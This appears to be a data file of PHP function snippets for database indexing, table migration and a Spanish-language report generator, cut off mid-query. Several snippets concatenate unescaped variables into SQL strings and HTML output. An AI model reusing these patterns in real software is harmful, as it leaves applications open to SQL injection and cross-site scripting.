$insertReplacedQuery );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$this->db->query ( \"delete from tbl_tempsecurities_replaced where id='\" . $newReplacedSecurity ['id'] . \"'\" );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->db->query ( \"delete from tbl_replace_tempindex_req where indxx_id='\" . $newIndxx ['id'] . \"' and id='\" . $newReplace ['id'] . \"'\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->log_info(log_file, \"CA replaceindex process finished\");\n\t\t\n\t\t//$this->saveProcess ( 1 );\n\t\t$this->Redirect(\"index.php?module=replacecash&DEBUG=\" .DEBUG. \"&date=\" .$datevalue. \"&log_file=\" . basename(log_file), \"\", \"\" );\n\t}", "public function reset_tableaux() {\n\t\treturn $this->setArbreMoniteurs ( array () )\n\t\t\t->setArbreGroupes ( array () )\n\t\t\t->setArbreMachines ( array () )\n\t\t\t->setDependance ( array () )\n\t\t\t->setGroupeNumbers ( array () );\n\t}", "function change_index(&$tableau, $old_key, $new_key) {\n $changed = FALSE; $temp = 0;\n \n foreach ($tableau as $key => $value) {\n switch ($changed) {\n case FALSE :\n //creates the new key and deletes the old\n if ($key == $old_key) {\n $tableau[$new_key] = $tableau[$old_key];\n unset($tableau[$old_key]);\n $changed = TRUE;\n }\n break;\n\n case TRUE :\n //moves following keys\n if ($key != $new_key){\n $temp= $tableau[$key];\n unset($tableau[$key]);\n $tableau[$key] = $temp;\n break;\n } else {$changed = FALSE;} //stop\n }\n }\n array_values($tableau); //free_memory\n}", "public function optimize()\n {\n $this->index->optimize();\n }", "function getTablas() {\r\n $tablas['inventario_equipo']['id']='inventario_equipo';\r\n $tablas['inventario_equipo']['nombre']='Inventario (equipo)';\r\n\r\n $tablas['inventario_grupo']['id']='inventario_grupo';\r\n $tablas['inventario_grupo']['nombre']='Inventario (grupo)';\r\n\r\n $tablas['inventario_estado']['id']='inventario_estado';\r\n $tablas['inventario_estado']['nombre']='Inventario (estado)';\r\n\r\n $tablas['inventario_marca']['id']='inventario_marca';\r\n $tablas['inventario_marca']['nombre']='Inventario (marca)';\r\n\r\n $tablas['obligacion_clausula']['id']='obligacion_clausula';\r\n $tablas['obligacion_clausula']['nombre']='Obligacion (clausula)';\r\n\r\n $tablas['obligacion_componente']['id']='obligacion_componente';\r\n $tablas['obligacion_componente']['nombre']='Obligacion (componente)';\r\n\r\n $tablas['documento_tipo']['id']='documento_tipo';\r\n $tablas['documento_tipo']['nombre']='Documento (Tipo)';\r\n\r\n \t\t$tablas['documento_tema']['id']='documento_tema';\r\n \t\t$tablas['documento_tema']['nombre']='Documento (Tema)';\r\n\r\n \t\t$tablas['documento_subtema']['id']='documento_subtema';\r\n \t\t$tablas['documento_subtema']['nombre']='Documento (Subtema)';\r\n\r\n \t\t$tablas['documento_estado']['id']='documento_estado';\r\n \t\t$tablas['documento_estado']['nombre']='Documento (Estado)';\r\n\r\n \t\t$tablas['documento_estado_respuesta']['id']='documento_estado_respuesta';\r\n \t\t$tablas['documento_estado_respuesta']['nombre']='Documento (Estado Respuesta)';\r\n\r\n \t\t$tablas['documento_actor']['id']='documento_actor';\r\n \t\t$tablas['documento_actor']['nombre']='Documento (Responsables)';\r\n\r\n \t\t$tablas['documento_tipo_actor']['id']='documento_tipo_actor';\r\n \t\t$tablas['documento_tipo_actor']['nombre']='Documento (Tipo de Responsable)';\r\n\r\n \t\t$tablas['riesgo_probabilidad']['id']='riesgo_probabilidad';\r\n \t\t$tablas['riesgo_probabilidad']['nombre']='Riesgo (Probabilidad)';\r\n\r\n \t\t$tablas['riesgo_categoria']['id']='riesgo_categoria';\r\n \t\t$tablas['riesgo_categoria']['nombre']='Riesgo (Categoria)';\r\n\r\n \t\t$tablas['riesgo_impacto']['id']='riesgo_impacto';\r\n \t\t$tablas['riesgo_impacto']['nombre']='Riesgo (Impacto)';\r\n\r\n \t\t$tablas['compromiso_estado']['id']='compromiso_estado';\r\n \t\t$tablas['compromiso_estado']['nombre']='Compromisos (Estado)';\r\n\r\n \t\t$tablas['departamento']['id']='departamento';\r\n \t\t$tablas['departamento']['nombre']='Departamentos';\r\n\r\n \t\t$tablas['departamento_region']['id']='departamento_region';\r\n \t\t$tablas['departamento_region']['nombre']='Departamentos (Region)';\r\n\r\n \t\t$tablas['municipio']['id']='municipio';\r\n \t\t$tablas['municipio']['nombre']='Municipios';\r\n\r\n $tablas['operador']['id']='operador';\r\n\t $tablas['operador']['nombre']='Operador';\r\n\r\n asort($tablas);\r\n return $tablas;\r\n }", "private function _loadDataToTemporaryTable(){\n\n }", "abstract protected function makeIndex(string $table, DoctrineDBALIndex $index): Index;", "public function index_delete(){\n\t\t\n\t\t}", "function imprimir_contadores($fila,$contadores){\n\t for($i=0; $i<8;$i++){\n\t echo'<td>'.$contadores[$fila][$i].'</td>';\n\t }\n\n\t }", "public function _indexData(string $table): array\n\t{\n\t\t//log_message('error', '_indexData');\n\n\t\t$sql = 'SELECT RDB$INDEX_NAME as INDEX_NAME, RDB$RELATION_NAME as RELATION_NAME,\n\t\t\t\t\t\tRDB$INDEX_ID as INDEX_ID, RDB$UNIQUE_FLAG as UNIQUE_FLAG,\n\t\t\t\t\t\tRDB$DESCRIPTION as DESCRIPTION, RDB$SEGMENT_COUNT as SEGMENT_COUNT,\n\t\t\t\t\t\tRDB$INDEX_INACTIVE as INDEX_INACTIVE, RDB$INDEX_TYPE as INDEX_TYPE,\n\t\t\t\t\t\tRDB$FOREIGN_KEY as FOREIGN_KEY, RDB$SYSTEM_FLAG as SYSTEM_FLAG,\n\t\t\t\t\t\tRDB$EXPRESSION_BLR as EXPRESSION_BLR, RDB$EXPRESSION_SOURCE as EXPRESSION_SOURCE,\n\t\t\t\t\t\tRDB$STATISTICS as STATISTICS\n\t\t \t\t\t\tFROM RDB$INDICES\n\t\t\t\t\t\tWHERE (RDB$SYSTEM_FLAG is null or RDB$SYSTEM_FLAG = 0) ';\n\n\t\tif (! empty($table)) $sql .= 'AND RDB$RELATION_NAME = \\''.$table.'\\' ';\n\n\t\t$sql .='ORDER BY RDB$FOREIGN_KEY NULLS FIRST';\n\n\t\t//log_message('error', '_indexData SQL:'.$sql);\n\n\t\tif (($query = $this->query($sql)) === false)\n\t\t{\n\t\t\tthrow new DatabaseException(lang('Database.failGetIndexData'));\n\t\t}\n\t\t$query = $query->getResultObject();\n\n\t\t//log_message('error', print_r($query, true) );\n\n\t\treturn $query;\n\n\t}", "public function rebuildIndex( array $items = [] );", "private function transfer_data()\n\t{\n\t\t$num_rows = db::select_one(\"select count(*) from {$this->table}\");\n\t\t\n\t\tfor ($i = 0; $i < $num_rows; $i += BATCH_SIZE)\n\t\t{\n\t\t\techo \"$i / $num_rows (select {$this->before_alter_select_query} from {$this->table})\\n\";\n\t\t\t$r = mysql_query(\"select {$this->before_alter_select_query} from {$this->table} limit $i, \".BATCH_SIZE);\n\t\t\twhile ($d = mysql_fetch_assoc($r))\n\t\t\t{\n\t\t\t\tif ($this->renamed_cols)\n\t\t\t\t{\n\t\t\t\t\tforeach ($this->renamed_cols as $before_key => $after_key)\n\t\t\t\t\t{\n\t\t\t\t\t\t$d[$after_key] = $d[$before_key];\n\t\t\t\t\t\tunset($d[$before_key]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tdb::insert($this->temp_table, $d);\n\t\t\t}\n\t\t}\n\t}", "function generar()\r\n\t{\r\n\t\tforeach($this->columnas as $ef) {\r\n\t\t \t$this->datos->tabla('columnas')->nueva_fila($ef->get_datos());\r\n\t\t}\r\n\t\tparent::generar();\r\n\t}", "private function imprimeTabelaFinanceiro($iOpcao=self::CONTROLE_FINANCEIRO){\n $this->imprimeCabecalhoFinanceiro($iOpcao);\n $this->imprimeValorFinanceiro($iOpcao);\n }", "public function getIndex();", "public function getIndex();", "public function getIndex();", "protected function resetIndex($key)\n {\n if (!array_key_exists($key, $this->mappedData)) {\n $this->index = 0;\n }\n }", "protected function _prepareRowsAction() {\n \n }", "public function tratarDados(){\r\n\t\r\n\t\r\n }", "public static function updateIndexes(Connection $conn, Table $dataSetImportTable, DataSetInterface $dataSet, &$removedIndexesCount = 0)\n {\n $inUsedIndexes = [];\n $columnIndexes = [];\n $columnIndexesDatetime = [];\n //$overwriteDateIndex = new ColumnIndex(DataSetInterface::OVERWRITE_DATE, FieldType::DATETIME);\n\n // get custom index config\n $customIndexConfigs = $dataSet->getCustomIndexConfig();\n $dimensionsAndMetrics = $dataSet->getAllDimensionMetrics();\n\n if (empty($customIndexConfigs)) {\n // create default index\n // only add indexes for date columns\n foreach ($dataSet->getDimensions() as $fieldName => $fieldType) {\n if (!in_array($fieldType, [FieldType::DATE, FieldType::DATETIME])) {\n continue;\n }\n\n $columnIndexesDatetime [] = new ColumnIndex($fieldName, $fieldType);\n\n }\n $columnIndexes [] = $columnIndexesDatetime;\n } else {\n // create custom index according config has already had before\n foreach ($customIndexConfigs as $customIndexConfig) {\n foreach ($customIndexConfig as $subField) {\n if ($dataSetImportTable->hasColumn($subField)) {\n if (array_key_exists($subField, $dimensionsAndMetrics)){\n $columnIndex [] = new ColumnIndex($subField, $dimensionsAndMetrics[$subField]);\n }\n }\n }\n if (isset($columnIndex) && !empty($columnIndex))\n $columnIndexes [] = $columnIndex;\n $customIndexConfigs [] = $customIndexConfig;\n\n //reset $columnIndex\n $columnIndex = [];\n }\n }\n\n $createdIndexesCount = 0;\n\n // execute prepared statement for creating indexes\n $conn->beginTransaction();\n\n foreach ($columnIndexes as $multipleColumnIndexes) {\n /** @var ColumnIndex[] $multipleColumnIndexes */\n if (!is_array($multipleColumnIndexes)) {\n continue;\n }\n\n $columnNamesAndLengths = []; // for building sql create index\n\n // build index for multiple columns\n foreach ($multipleColumnIndexes as $singleColumnIndex) {\n if (!$singleColumnIndex instanceof ColumnIndex) {\n continue;\n }\n\n $columnName = $singleColumnIndex->getColumnName();\n if (!$dataSetImportTable->hasColumn($columnName)) {\n continue; // column not found\n }\n\n $columnLength = $singleColumnIndex->getColumnLength();\n $columnNamesAndLengths[] = (null === $columnLength)\n ? $columnName\n : sprintf('%s(%s)', $columnName, $columnLength);\n }\n\n // sure have columns to be created index\n if (empty($columnNamesAndLengths)) {\n continue;\n }\n\n $indexName = self::getDataSetImportTableIndexName($dataSetImportTable->getName());\n\n // update inUsedIndexes\n $inUsedIndexes[] = $indexName;\n\n if ($dataSetImportTable->hasIndex($indexName)) {\n continue; // already has index\n }\n\n $createdIndexesCount++;\n\n self::prepareStatementCreateIndex($conn, $indexName, $dataSetImportTable->getName(), $columnNamesAndLengths);\n sleep(1);\n }\n\n try {\n $conn->commit();\n } catch (\\Exception $e) {\n\n }\n\n // remove non existing indexes\n $conn->beginTransaction();\n\n $allIndexObjects = $dataSetImportTable->getIndexes();\n $allIndexes = array_map(function (Index $indexObject) {\n return $indexObject->getName();\n }, $allIndexObjects);\n\n $nonExistingIndexes = array_diff($allIndexes, $inUsedIndexes);\n foreach ($nonExistingIndexes as $nonExistingIndex) {\n // exclude 'primary' and 'unique_hash_idx' indexes\n if (in_array($nonExistingIndex, self::REQUIRED_INDEXES)) {\n continue;\n }\n\n self::prepareStatementDropIndex($conn, $nonExistingIndex, $dataSetImportTable->getName());\n\n $removedIndexesCount++;\n }\n\n try {\n $conn->commit();\n } catch (\\Exception $e) {\n\n }\n\n return $createdIndexesCount;\n }", "protected function doReindexFull()\n {\n foreach ($this->getAllRules() as $rule) {\n $this->updateRuleProductData($rule);\n $this->categoryProductReindexRow($rule->getId());\n }\n }", "function indexes($table)\n{\n\treturn $this->drv->indexes($table);\n}", "function CrearDetalleIndicador()\n{\n\tglobal $tablaCapacitados;\n\n\n\t//global $tabla;\n\tglobal $eventosAsistentes;\n\t$anioCurso = getAnioSeleccionado();\n\t$indicadorSel = getIndicador();\n\t$mesSel = getMes();\n\t$zonaSel = getZona();\n\t$lineasTabla = \"\";\n\t$tablaHeader = \"\";\n\n\t//echo $anioCurso . \" - \" . $indicadorSel . \" - \" . $mesSel. \" - \" . $zonaSel . \"<br>\";\n\n\tif($indicadorSel == 1)\n\t{\n\t\t$resIndicador = primer_indicador($mesSel, $zonaSel);\n\t\t//print_r2($resIndicador);\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t//provincias de las organizaciones\n\t\t\t$provOrg = RecuperarInfoOrg($resIndicador, 'provincia');\n\t\t\t//nombres de las organizaciones\n\t\t\t$nombresOrganizaciones = RecuperarInfoOrg($resIndicador, 'nombresOrg');\n\t\t\t// ruc de las organizaciones\n\t\t\t$rucProvisional = RecuperarInfoOrg($resIndicador, 'rucProvisionalOrg');\n\t\t\t$rucDefinitivo = RecuperarInfoOrg($resIndicador, 'rucDefinitivoOrg');\n\t\t\t//categoria Matriz productiva de las organizaciones\n\t\t\t$catMatrizProductivaOrg = RecuperarInfoOrg($resIndicador, 'categoriaMatriz');\n\t\t\t// numero de socios por cada organizacion\n\t\t\t$numSociosOrganizacion = NumSociosOrganizacion($resIndicador);\n\t\t\t// numero de personas Capacitadas\n\t\t\t$numPerCapacitadas = NumPersonasCapacitadas($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t//print_r2($eventosAsistentes);\n\t\t\t//Servicio Brindado por Fortalecimiento\n\t\t\t$servicioFortalecimiento = ServiciosBrindadosOrg($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t// identificacion actividad matriz productiva\n\t\t\t$actOrgMP = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//capacitados por Genero\n\t\t\t$capMujeres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel, 'mujer');\n\t\t\t$capHombres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel, 'hombre');\n\n\t\t\t// BORRAR LUEGO SOLO PARA FORTALECIMIENTO\n\t\t\t$tablaCapacitados .= \"</table>\";\n\n\n\t\t\t//print_r2($resIndicador);\n\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES REPORTE</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE SOCIOS</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS TOTAL</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS MUJERES TOTAL</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS HOMBRES TOTAL</th>\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t\t<th>CODIGO EVENTO</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\n\t\t\t\t\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nombresOrganizaciones[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo[$cont] . \" - \" . $rucProvisional[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actOrgMP[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numSociosOrganizacion[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numPerCapacitadas[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capMujeres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capHombres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $servicioFortalecimiento[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $eventosAsistentes[$cont] . \"</td>\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\n\t\t\n\t}\n\tif($indicadorSel == 2)\n\t{\n\t\t//print_r2($resIndicador);\n\t\t$resIndicador = segundo_indicador($mesSel,$zonaSel);\n\t\t//print_r2($resIndicador);\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t//provincias de las uep\n\t\t\t$provUep = RecuperarInfoOrg($resIndicador, 'provincia');\n\t\t\t//nombres de las uep\n\t\t\t$nombresUep = RecuperarInfoOrg($resIndicador, 'nombresOrg');\n\t\t\t// ruc de las uep\n\t\t\t$rucProvisional = RecuperarInfoOrg($resIndicador, 'rucProvisionalOrg');\n\t\t\t$rucDefinitivo = RecuperarInfoOrg($resIndicador, 'rucDefinitivoOrg');\n\t\t\t//categoria Matriz productiva de las uep\n\t\t\t$catMatrizProductivaOrg = RecuperarInfoOrg($resIndicador, 'categoriaMatriz');\n\t\t\t// numero de socios por cada organizacion\n\t\t\t$numSociosOrganizacion = NumSociosOrganizacion($resIndicador);\n\t\t\t// numero de personas Capacitadas\n\t\t\t$numPerCapacitadas = NumPersonasCapacitadas($resIndicador, $anioCurso, $mesSel, 'UEP', $zonaSel);\n\t\t\t//print_r2($eventosAsistentes);\n\t\t\t//Servicio Brindado por Fortalecimiento\n\t\t\t$servicioFortalecimiento = ServiciosBrindadosOrg($resIndicador, $anioCurso, $mesSel, 'UEP', $zonaSel);\n\t\t\t// identificacion actividad matriz productiva\n\t\t\t$actOrgMP = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//capacitados por Genero\n\t\t\t$capMujeres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'UEP', $zonaSel, 'mujer');\n\t\t\t$capHombres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'UEP', $zonaSel, 'hombre');\n\n\n\t\t\t// BORRAR LUEGO SOLO PARA FORTALECIMIENTO\n\t\t\t$tablaCapacitados .= \"</table>\";\n\n\n\n\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t<th>MES REPORTE</th>\n\t\t\t\t\t\t\t<th>ZONA</th>\n\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t<th>UEP</th>\n\t\t\t\t\t\t\t<th>RUC PROVISIONAL</th>\n\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\n\t\t\t\t\t\t\t<th>NUMERO DE SOCIOS</th>\n\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS TOTAL</th>\n\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS MUJERES TOTAL</th>\n\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS HOMBRES TOTAL</th>\n\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t<th>CODIGO EVENTO</th>\n\t\t\t\t\t\t</tr>\";\n\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\n\t\t\t\t\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provUep[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nombresUep[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo[$cont] . \" - \" . $rucProvisional[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actOrgMP[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numSociosOrganizacion[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numPerCapacitadas[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capMujeres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capHombres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $servicioFortalecimiento[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $eventosAsistentes[$cont] . \"</td>\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\t}\n\n\tif($indicadorSel == 3)\n\t{\n\t\t$resIndicador = tercer_indicador($mesSel,$zonaSel);\n\t\t//print_r2($resIndicador);\t\t\t\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t//provincias de las organizaciones\n\t\t\t$provOrg = RecuperarInfoOrg($resIndicador, 'provincia');\n\t\t\t//nombres de las organizaciones\n\t\t\t$nombresOrganizaciones = RecuperarInfoOrg($resIndicador, 'nombresOrg');\n\t\t\t// ruc de las organizaciones\n\t\t\t$rucProvisional = RecuperarInfoOrg($resIndicador, 'rucProvisionalOrg');\n\t\t\t$rucDefinitivo = RecuperarInfoOrg($resIndicador, 'rucDefinitivoOrg');\n\t\t\t// actividad de la organizacion\n\t\t\t$actividadOrg = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//categoria Matriz productiva de las organizaciones\n\t\t\t$catMatrizProductivaOrg = RecuperarInfoOrg($resIndicador, 'categoriaMatriz');\n\t\t\t// numero de socios por cada organizacion\n\t\t\t$numSociosOrganizacion = NumSociosOrganizacion($resIndicador);\t\t\t\n\t\t\t//Servicio Brindado por Fortalecimiento\n\t\t\t$servicioFortalecimiento = ServiciosBrindadosOrg($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t//print_r2($resIndicador);\n\t\t\t// identificacion actividad matriz productiva\n\t\t\t$actOrgMP = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//Asistentes al circuito\n\t\t\t$asistentesCircuito = GetAsistentesCircuitosEconomicos($resIndicador, $anioCurso, $mesSel, $zonaSel);\n\n\n\t\t\t// BORRAR LUEGO SOLO PARA FORTALECIMIENTO\n\t\t\t$tablaCapacitados .= \"</table>\";\n\n\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>ACTIVIDAD</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE ASISTENTES</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE SOCIOS</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\n\t\t\t\t\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo[$cont] . \" - \" . $rucProvisional[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nombresOrganizaciones[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actividadOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actOrgMP[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $servicioFortalecimiento[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $asistentesCircuito[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numSociosOrganizacion[$cont] . \"</td>\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\t}\n\n\tif($indicadorSel == 4)\n\t{\n\t\tglobal $orgSocios;\n\t\t$resIndicador = cuarto_indicador($mesSel, $zonaSel);\n\t\t$provNombre = \"\";\n\t\t$rucSocio = \"\";\n\t\t$cedulaSocio = \"\";\n\t\t$apellidosSocio = \"\";\n\t\t$orgSocio = \"\";\n\t\t$actividadOrgSocio = \"\";\n\t\t$categoriaOrgSocio = \"\";\n\t\t$identificacionCategoriaOrgSocio = \"\";\n\t\t$campoFortalecimiento = \"\";\n\t\t$generoSocio = \"\";\n\t\t$poblacionSocio = \"\";\n\t\t$grupoEtnicoSocio = \"\";\n\n\n\t\t//print_r2($resIndicador);\n\t\t//print_r2($orgSocios);\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t$provNombre = \"\";\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CEDULA</th>\n\t\t\t\t\t\t\t\t<th>APELLIDOS Y NOMBRES</th>\n\t\t\t\t\t\t\t\t<th>GENERO</th>\n\t\t\t\t\t\t\t\t<th>POBLACION</th>\n\t\t\t\t\t\t\t\t<th>GRUPO ETNICO</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>ACTIVIDAD</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\t\t\t\t\t\n\t\t\t\t$rucSocio = \"\";\n\t\t\t\t$cedulaSocio = \"\";\n\t\t\t\t$apellidosSocio = \"\";\n\t\t\t\t$orgSocio = \"\";\n\t\t\t\t$actividadOrgSocio = \"\";\n\t\t\t\t$categoriaOrgSocio = \"\";\n\t\t\t\t$identificacionCategoriaOrgSocio = \"\";\n\t\t\t\t$campoFortalecimiento = \"\";\n\t\t\t\t$generoSocio = \"\";\n\t\t\t\t$poblacionSocio = \"\";\n\t\t\t\t$grupoEtnicoSocio = \"\";\n\n\t\t\t\t$sqlOrgSocios = \"select cod_u_organizaciones from socios where cedula = '\" . $valor . \"' and estado = 1 group by 